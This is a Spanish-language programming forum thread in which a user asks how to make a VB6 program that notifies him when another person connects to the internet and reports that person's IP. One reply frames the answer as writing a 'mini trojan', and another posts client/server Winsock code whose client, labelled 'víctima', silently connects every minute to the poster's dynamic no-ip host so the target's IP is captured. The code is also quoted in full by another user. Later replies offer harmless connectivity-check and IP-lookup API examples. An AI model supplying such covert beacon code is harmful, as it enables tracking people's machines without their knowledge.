programa que me avise cuando una persona se conecta a internet y me diga su IP

Iniciado por *crash_override*, 27 Enero 2007, 08:31 AM

0 Miembros y 1 Visitante están viendo este tema.

*crash_override*

hola que tal

como ago en vb6 para que cuando una persona se conecte a inetrnet me aparezxca una cartelito como el del msn avisandome que se conecto a interte y que me diga su IP

saludos

Red Mx

Citarcomo hago en vb6 para que cuando una persona se conecte a inetrnet me aparezxca una cartelito como el del msn avisandome que se conecto a interte y que me diga su IP

muy facil programate un mini troyano el cual

este pendiente de el administrador de tareas y cuando el msn se ejecute con un timer se active en tu maquina una pupup y te mustre la Ip.

todo lo que ocupas es el winsock
Desarrollar Malware Es Causa De Cancer...

sorcerer

un pekeño codigo (cliente servidor en winsock) si tenes una cuenta en no-ip.com es muy util

Cliente(victima):
necesitas un winsock y un timer

Private Sub Form_Load()
Timer1.Interval = 60000
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Winsock2.Close
Winsock2.Connect \"TU_CUENTA_NO-IP\", 1900
Exit Sub

Private Sub Winsock2_Connect()
Do
Loop Until Winsock2.State = sckConnected
Winsock2.SendData \"hi\"
End Sub


Servidor (vos):
un winsock y un text box

Private Sub Form_Load()
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
If data = \"hi\" Then
    Text1.Text = Winsock1.RemoteHostIP
    Winsock1.Close
Else
    Winsock1.Close
End If
End Sub



eso hace el trabajo
Las creaciones humanas son imperfectas,
por la imperfeccion de su creador

drito

Cita de: sorcerer en 19 Febrero 2007, 19:20 PM
un pekeño codigo (cliente servidor en winsock) si tenes una cuenta en no-ip.com es muy util

Cliente(victima):
necesitas un winsock y un timer

Private Sub Form_Load()
Timer1.Interval = 60000
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Winsock2.Close
Winsock2.Connect \"TU_CUENTA_NO-IP\", 1900
Exit Sub

Private Sub Winsock2_Connect()
Do
Loop Until Winsock2.State = sckConnected
Winsock2.SendData \"hi\"
End Sub


Servidor (vos):
un winsock y un text box

Private Sub Form_Load()
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
If data = \"hi\" Then
    Text1.Text = Winsock1.RemoteHostIP
    Winsock1.Close
Else
    Winsock1.Close
End If
End Sub



eso hace el trabajo
Da fallo en el primer ejecutable en el Winsock2 con el Do ese que no se que funcion  tiene ahí..

‭‭‭‭jackl007

Lo que tambien puedes hacer es:
Crear un pequeño programa que intente abrir una pagina web que devuelva el ip (en flavionet.com esta esa tool) usando Inet (u otro control) en un bucle que este controlado por el error de conexion; osea en el bucle la aplicacion intentara abrir la web esperando una respuesta, mientras el control devuelva error, intentara conectarse de nuevo en breves segundos hasta conseguir la respuesta afirmativa con el ip para luego enviarla por el control winsock al cliente.

Chefito

Pues mira, una forma de saber si estás conectado con apis es esta (copiado del Apis-guide):
Private Declare Function InetIsOffline Lib "url.dll" (ByVal dwFlags As Long) As Long
Private Sub Form_Load()
    'KPD-Team 2001
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    'InetIsOffline returns 0 if you're connected
    MsgBox "¿Estás conectado a Internet? " + CStr(CBool(Not (InetIsOffline(0)))), vbInformation
End Sub


Y para saber la ip, como te han dicho anteriormente, puedes utilizar cualquiera de las paginas web que hay para este fin. Sacas el texto de la pagina, lo tratas, y metes en una variable la ip. Para leer el texto html de una pagina web sin ningun control, utiliza la api InternetReadFile. Te cuelgo el ejemplo de la Api-guide:
Const scUserAgent = "API-Guide test program"
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_OPEN_TYPE_PROXY = 3
Const INTERNET_FLAG_RELOAD = &H80000000
Const sURL = "http://www.cual-es-mi-ip.net"
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
Private Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Sub Form_Load()
    'KPD-Team 1999
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net

    Dim hOpen As Long, hFile As Long, sBuffer As String, Ret As Long
    'Create a buffer for the file we're going to download
    sBuffer = Space(1000)
    'Create an internet connection
    hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
    'Open the url
    hFile = InternetOpenUrl(hOpen, sURL, vbNullString, ByVal 0&, INTERNET_FLAG_RELOAD, ByVal 0&)
    'Read the first 1000 bytes of the file
    InternetReadFile hFile, sBuffer, 1000, Ret
    'clean up
    InternetCloseHandle hFile
    InternetCloseHandle hOpen
    'Show our file
    MsgBox sBuffer
End Sub

También puedes hacer esto, además de con los controles que te han dicho (inet o winsock), con el control webbrowser, conectandote con la propiedad navigate y tratando el texto de la pagina web. Para ver el texto de la pagina web utiliza Webbrowser.Document.Body.Innertext (Aunque esta opcion la veo la menos adecuada).
Saludos.
Moderador del foro oficial de AutoIt en español: www.AutoIt.es.

Todos tenemos inteligencia, lo malo es que algunos no nos acordamos donde la dejamos guardada ;)

drito

Muchas gracias. ^^seguiré yo con el proyecto y si tengo alguna duda acerca del codigo que tengo y de las api's os preguntaré. ;) muchas gracias denuevo.